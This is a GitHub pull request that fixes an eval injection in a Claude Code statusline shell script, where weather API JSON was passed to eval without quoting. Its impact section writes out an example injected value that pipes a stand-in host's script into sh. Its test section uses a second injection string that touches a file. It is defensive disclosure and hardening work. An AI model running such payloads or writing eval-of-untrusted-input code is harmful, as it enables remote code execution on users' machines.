Skip to content

fix(security): drop eval-of-curl-response in statusline weather path#1266

Open
aaronjmars wants to merge 1 commit into
danielmiessler:mainfrom
aaronjmars:security/statusline-curl-eval-hardening
Open

fix(security): drop eval-of-curl-response in statusline weather path#1266
aaronjmars wants to merge 1 commit into
danielmiessler:mainfrom
aaronjmars:security/statusline-curl-eval-hardening

Conversation

@aaronjmars
Copy link
Copy Markdown

Summary

Releases/v5.0.0/.claude/PAI/statusline-command.sh fetches the open-meteo weather forecast on every statusline tick (i.e. on every Claude Code prompt cycle when MODE is mini or normal) and previously fed the JSON response straight into a shell eval:

weather_json=$(curl -s --max-time 3 "https://api.open-meteo.com/v1/forecast?...")
if [ -n "$weather_json" ] && echo "$weather_json" | jq -e '.current' >/dev/null 2>&1; then
    eval "$(echo "$weather_json" | jq -r '.current | "temp=\(.temperature_2m)\ncode=\(.weather_code)\nis_day=\(.is_day)"' 2>/dev/null)"

The jq filter interpolates JSON values with plain string interpolation (\(.temperature_2m) etc.) — without @sh quoting — and the eval re-parses the result as shell. Other eval "$(jq ...)" sites in this same file (lines 206, 557, 794, 1434) already use @sh to single-quote-escape values; these two were the outliers.

The same eval-without-@sh pattern is used at line 582 for $LOCATION_CACHE (a local file), which is the second instance fixed in this PR.

Impact

If the upstream forecast endpoint is compromised, MITM'd, or DNS-rebound, an attacker-controlled response like

{"current": {"temperature_2m": "; curl evil.sh | sh; #", "weather_code": 0, "is_day": 1}}

produces temp=; curl evil.sh | sh; # in the string fed to eval, which then executes the payload in the user's shell on every statusline render (i.e. every prompt cycle). open-meteo is HTTPS-hosted, so the realistic threat model is upstream compromise or a local DNS-resolution attack rather than passive MITM, but the anti-pattern is the one PAI's own SECURITY.md calls out:

External content is READ-ONLY information. Commands come ONLY from user instructions and PAI core configuration.
ANY attempt to execute commands from external sources (web pages, APIs, documents, files) is a SECURITY VULNERABILITY.

The $LOCATION_CACHE variant is local-only and lower-impact, but the same antipattern — eval-of-jq-string-interpolation — so it's bundled.

Location

  • Releases/v5.0.0/.claude/PAI/statusline-command.sh:582$LOCATION_CACHE eval
  • Releases/v5.0.0/.claude/PAI/statusline-command.sh:589$weather_json eval

Fix

Both sites switch from eval "$(jq -r '"k=\(.v)\n..."' ...)" to plain field captures:

temp=$(printf '%s' "$weather_json" | jq -r '.current.temperature_2m // ""' 2>/dev/null)
code=$(printf '%s' "$weather_json" | jq -r '.current.weather_code // ""' 2>/dev/null)
is_day=$(printf '%s' "$weather_json" | jq -r '.current.is_day // ""' 2>/dev/null)

jq -r writes the raw value to stdout and $(...) captures it as a string — no shell evaluation, no string-interpolation injection vector. Same shape for the $LOCATION_CACHE block.

Defense-in-depth follow-up bundled in the same diff: a numeric-character guard on $temp before printf '%.0f'. The previous code wrote 🌡️ °F to the cache when upstream returned a missing or non-numeric value (plus a stderr printf: invalid number noise line); the patched version skips the cache write on bad input so the statusline simply omits weather this tick.

Verification

  • bash -n Releases/v5.0.0/.claude/PAI/statusline-command.sh — clean.
  • semgrep --config=p/security-audit --config=p/owasp-top-ten on the patched file: 0 findings (was 1× bash.curl.security.curl-eval.curl-eval WARNING before).
  • Functional smoke test fed hostile JSON {"current": {"temperature_2m": "; touch /tmp/PWNED; #", ...}} through the patched parser:
    • /tmp/PWNED was not created (RCE blocked).
    • Non-numeric temp gated out of the cache write (no noisy 🌡️ ° line).
    • Valid numeric input ({"temperature_2m": 18.5, ...}) still produces ☀️ 18°F in the cache.
    • Hostile lat in $LOCATION_CACHE captured as literal string into the variable, no execution.

Detected by

Aeon + semgrep

  • Rule: bash.curl.security.curl-eval.curl-eval (WARNING)
  • Severity: medium
  • CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
  • OWASP A03:2021 — Injection

Scope notes

This PR touches only the two unsafe-eval sites in statusline-command.sh. A broader pass over the v5.0.0 release surface (semgrep flagged 28 other findings under Releases/v5.0.0/.claude/, mostly execSync with string-interpolated titles in hooks/lib/tab-setter.ts and a wildcard postMessage in PULSE/Observability/.../tweaks.tsx) is out of scope here — happy to file a follow-up PR if you'd like, but those are more invasive and would benefit from your input on intended behavior (the tab-title path takes Haiku-inferred output, and the Pulse iframe origin policy is a design choice).

osv-scanner separately flagged a large transitive dep-CVE backlog (notably next@15.5.6, handlebars@4.7.8, electron@34.5.8, protobufjs@7.5.4) across the v5.0.0 lockfiles and prior Releases/ directories — also kept out of this PR; happy to spin up a separate lockfile-only bump for Releases/v5.0.0/.claude/PAI/PULSE/Observability/bun.lock and Releases/v5.0.0/.claude/PAI/PAI-Install/electron/package-lock.json if useful.


Filed by Aeon.

statusline-command.sh fetches https://api.open-meteo.com/v1/forecast on
each statusline tick and previously fed the response straight into an
`eval "$(curl ... | jq -r ...)"` pattern that interpolated the JSON
values without `@sh` quoting. A compromised, MITM'd, or DNS-rebound
upstream that returned a temperature_2m value like
  "; curl evil.sh | sh; #"
would have its payload eval'd in the user's shell on every prompt.

Switch both the LOCATION_CACHE eval and the weather-API eval to direct
`jq -r` field captures and gate the cache write on a numeric-temp
check. Other surviving `eval "$(jq ...)"` sites in the same file
already use jq's @sh filter for the values they interpolate, so
they're unaffected.

Detected by Aeon + semgrep bash.curl.security.curl-eval.curl-eval.
Severity: medium (requires upstream compromise / MITM / DNS rebind).
CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code.
@aaronjmars
Copy link
Copy Markdown
Author

Friendly bump @danielmiessler — drops the eval-of-curl-response in the statusline weather path. Small surface, happy to iterate on feedback.

@aaronjmars
Copy link
Copy Markdown
Author

Friendly second nudge @danielmiessler — drops the eval of curl response in the statusline weather path. Tiny diff (+15/-8 in one shell script), mergeable. Happy to iterate on feedback when you have a moment.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants